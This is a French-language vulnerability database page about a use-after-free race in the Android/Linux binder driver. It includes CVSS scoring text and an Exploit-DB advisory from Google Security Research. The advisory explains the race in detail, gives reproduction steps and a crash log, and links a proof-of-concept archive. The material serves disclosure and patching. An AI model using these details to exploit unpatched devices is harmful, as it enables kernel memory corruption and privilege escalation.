Faiblesses connexes
| CWE-ID |
Nom de la faiblesse |
Source |
| CWE-416 |
Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer. |
|
| CWE-667 |
Improper Locking
The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors. |
|
Métriques
| Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
| V3.0 |
7.8 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 46503
Date de publication : 2019-03-05 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes
The following bug report solely looks at the situation on the upstream master
branch; while from a cursory look, at least the wahoo kernel also looks
affected, I have only properly tested this on upstream master.
The binder driver permits userspace to free buffers in the kernel-managed shared
memory region by using the BC_FREE_BUFFER command. This command implements the
following restrictions:
- binder_alloc_prepare_to_free_locked() verifies that the pointer points to a
buffer
- binder_alloc_prepare_to_free_locked() verifies that the ->free_in_progress
flag is not yet set, and sets it
- binder_thread_write() verifies that the ->allow_user_free flag is set
The first two of these checks happen with alloc->mutex held.
The ->free_in_progress flag can be set in the following places:
- new buffers are allocated with kzalloc() and therefore have the flag set to 0
- binder_alloc_prepare_to_free_locked() sets it to 1 when starting to free a
buffer
- binder_alloc_new_buf_locked() sets it to 0 when a buffer is allocated
This means that a buffer coming from binder_alloc_new_buf() always has this flag
clear.
The ->allow_user_free flag can be set in the following places:
- new buffers are allocated with kzalloc() and therefore have the flag set to 0
- binder_transaction() sets it to 0 after allocating a buffer with
binder_alloc_new_buf()
- binder_thread_read() sets it to 1 after an allocated buffer has been filled
with data for userspace
This means that a buffer coming from binder_alloc_new_buf() may have the flag
either clear or set: If the buffer is new, the bit is 0; but if the buffer has
previously been used, the bit remains 1 from the previous use.
Therefore, it can be possible for userspace to free a buffer coming from
binder_alloc_new_buf(). Directly after the call to binder_alloc_new_buf(),
->allow_user_free is set to zero; but there is a small race window in which an
attacker can use BC_FREE_BUFFER to free the buffer.
I am attaching a proof of concept for the upstream git master kernel running on
a normal desktop system.
Unpack the attached binder_race_freebuf.tar.
Patch the kernel with 0001-binder-race-helper.patch to widen the race window and
add some debug logging. Build it and boot into it.
Use ./compile.sh to build the PoC, then run ./poc as root.
The output should look like this:
===============
# ./poc
### FIRST PING
0000: 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION:
target 0000000000000000 cookie 0000000000000000 code 00000001 flags 00000010
pid 1192 uid 0 data 4 offs 0
0000: 00 . 00 . 00 . 00 .
got transaction!
binder_send_reply(status=0)
offsets=0x7ffc68d94ec0, offsets_size=0
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000
pid 0 uid 0 data 4 offs 0
0000: 00 . 00 . 00 . 00 .
binder_done: freeing buffer
binder_done: free done
### SECOND PING
0000: 00 . 00 . 00 . 00 .
### ATTEMPTING FREE IN RACE WINDOW
### END OF FREE IN RACE WINDOW, FLUSHING PAGE
### END OF PAGE FLUSH
===============
You should see something like this in dmesg (if you have
/sys/module/binder/parameters/debug_mask set to 16383):
===============
[ 71.555144] binder: binder_open: 1191:1191
[ 71.557091] binder: binder_mmap: 1191 7f273d896000-7f273dc96000 (4096 K) vma 71 pagep 8000000000000025
[ 71.560020] binder: 1191:1191 node 1 u0000000000000000 c0000000000000000 created
[ 71.563526] binder: 1191:1191 write 4 at 00007ffc68d95020, read 0 at 0000000000000000
[ 71.566453] binder: 1191:1191 BC_ENTER_LOOPER
[ 71.568390] binder: 1191:1191 wrote 4 of 4, read return 0 of 0
[ 71.571268] binder: 1191:1191 write 0 at 0000000000000000, read 128 at 00007ffc68d95020
[ 72.555736] binder: binder_open: 1192:1192
[ 72.558848] binder: binder_mmap: 1192 7f273d896000-7f273dc96000 (4096 K) vma 71 pagep 8000000000000025
[ 72.564619] binder: 1192:1192 write 68 at 00007ffc68d93fa0, read 128 at 00007ffc68d93f20
[ 72.568033] binder: 1192:1192 BC_TRANSACTION 2 -> 1191 - node 1, data 00007ffc68d94070-00007ffc68d94050 size 4-0-0
[ 72.571666] binder: [1192] ENTERING SLEEP BEFORE ZEROING allow_user_free (data{user}=0x00007f273d896000 allow_user_free=0 free_in_progress=0 free=0)
[ 82.692703] binder: [1192] LEAVING SLEEP BEFORE ZEROING allow_user_free (allow_user_free=0 free_in_progress=0 free=0)
[ 82.699956] binder: 1191:1191 BR_TRANSACTION 2 1192:1192, cmd -2143260158 size 4-0 ptr 00007f273d896000-00007f273d896008
[ 82.707859] binder: 1191:1191 wrote 0 of 0, read return 72 of 128
[ 82.712176] binder: 1191:1191 write 88 at 00007ffc68d94da0, read 0 at 0000000000000000
[ 82.715038] binder: 1191:1191 BC_FREE_BUFFER u00007f273d896000 found buffer 2 for active transaction
[ 82.717791] binder: 1191 buffer release 2, size 4-0, failed at 000000004a5bea11
[ 82.720813] binder: 1191:1191 BC_REPLY 3 -> 1192:1192, data 00007ffc68d94ee0-00007ffc68d94ec0 size 4-0-0
[ 82.723643] binder: [1191] ENTERING SLEEP BEFORE ZEROING allow_user_free (data{user}=0x00007f273d896000 allow_user_free=0 free_in_progress=0 free=0)
[ 92.932760] binder: [1191] LEAVING SLEEP BEFORE ZEROING allow_user_free (allow_user_free=0 free_in_progress=0 free=0)
[ 92.939182] binder: 1191:1191 wrote 88 of 88, read return 0 of 0
[ 92.939230] binder: 1192:1192 BR_TRANSACTION_COMPLETE
[ 92.943073] binder: 1191:1191 write 0 at 0000000000000000, read 128 at 00007ffc68d95020
[ 92.943077] binder: 1191:1191 BR_TRANSACTION_COMPLETE
[ 92.943088] binder: 1191:1191 wrote 0 of 0, read return 8 of 128
[ 92.946332] binder: 1192:1192 BR_REPLY 3 0:0, cmd -2143260157 size 4-0 ptr 00007f273d896000-00007f273d896008
[ 92.949858] binder: 1191:1191 write 0 at 0000000000000000, read 128 at 00007ffc68d95020
[ 92.952057] binder: 1192:1192 wrote 68 of 68, read return 76 of 128
[ 92.963782] binder: 1192:1192 write 12 at 00007ffc68d94024, read 0 at 0000000000000000
[ 92.966693] binder: 1192:1192 BC_FREE_BUFFER u00007f273d896000 found buffer 3 for finished transaction
[ 92.970073] binder: 1192 buffer release 3, size 4-0, failed at 000000004a5bea11
[ 92.972570] binder: 1192:1192 wrote 12 of 12, read return 0 of 0
[ 92.975094] binder: 1192:1192 write 68 at 00007ffc68d93fa0, read 128 at 00007ffc68d93f20
[ 92.978318] binder: 1192:1192 BC_TRANSACTION 4 -> 1191 - node 1, data 00007ffc68d94070-00007ffc68d94050 size 4-0-0
[ 92.981400] binder: [1192] ENTERING SLEEP BEFORE ZEROING allow_user_free (data{user}=0x00007f273d896000 allow_user_free=1 free_in_progress=0 free=0)
[ 93.975357] binder: 1191:1191 write 12 at 00007ffc68d94a60, read 0 at 0000000000000000
[ 93.980201] binder: 1191:1191 BC_FREE_BUFFER u00007f273d896000 found buffer 2 for finished transaction
[ 93.986293] binder: 1191 buffer release 2, size 4-0, failed at 000000004a5bea11
[ 93.989411] binder: 1191:1191 wrote 12 of 12, read return 0 of 0
[ 94.123942] poc (1191): drop_caches: 2
[ 94.124975] binder: 1191:1191 write 0 at 0000000000000000, read 128 at 00007ffc68d95020
[ 103.172683] binder: [1192] LEAVING SLEEP BEFORE ZEROING allow_user_free (allow_user_free=1 free_in_progress=1 free=1)
[ 103.179477] BUG: pagefault on kernel address 0xffffc90001656000 in non-whitelisted uaccess
[ 103.184390] BUG: unable to handle kernel paging request at ffffc90001656000
[ 103.186619] PGD 1ead31067 P4D 1ead31067 PUD 1eaeaa067 PMD 1e26bb067 PTE 0
[ 103.188645] Oops: 0002 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN
[ 103.190386] CPU: 1 PID: 1192 Comm: poc Not tainted 4.20.0-rc3+ #221
[ 103.192262] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 103.195468] RIP: 0010:copy_user_generic_unrolled+0xa0/0xc0
[...]
[ 103.224384] Call Trace:
[ 103.225124] _copy_from_user+0x5e/0x90
[ 103.226231] binder_transaction+0xe2c/0x3a70
[...]
[ 103.245031] binder_thread_write+0x788/0x1b10
[...]
[ 103.262718] binder_ioctl+0x916/0xe80
[...]
[ 103.273723] do_vfs_ioctl+0x134/0x8f0
[...]
[ 103.279071] ksys_ioctl+0x70/0x80
[ 103.279968] __x64_sys_ioctl+0x3d/0x50
[ 103.280998] do_syscall_64+0x73/0x160
[ 103.281989] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[...]
[ 103.302367] ---[ end trace aa878f351ca08969 ]---
[ 103.303412] RIP: 0010:copy_user_generic_unrolled+0xa0/0xc0
[...]
[ 103.327111] binder: 1192 close vm area 7f273d896000-7f273dc96000 (4096 K) vma 18020051 pagep 8000000000000025
[ 103.329459] binder: binder_flush: 1192 woke 0 threads
[ 103.329497] binder: binder_deferred_release: 1192 threads 1, nodes 0 (ref 0), refs 0, active transactions 0
===============
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46503.zip
Products Mentioned
Configuraton 0
Google>>Android >> Version -
Références
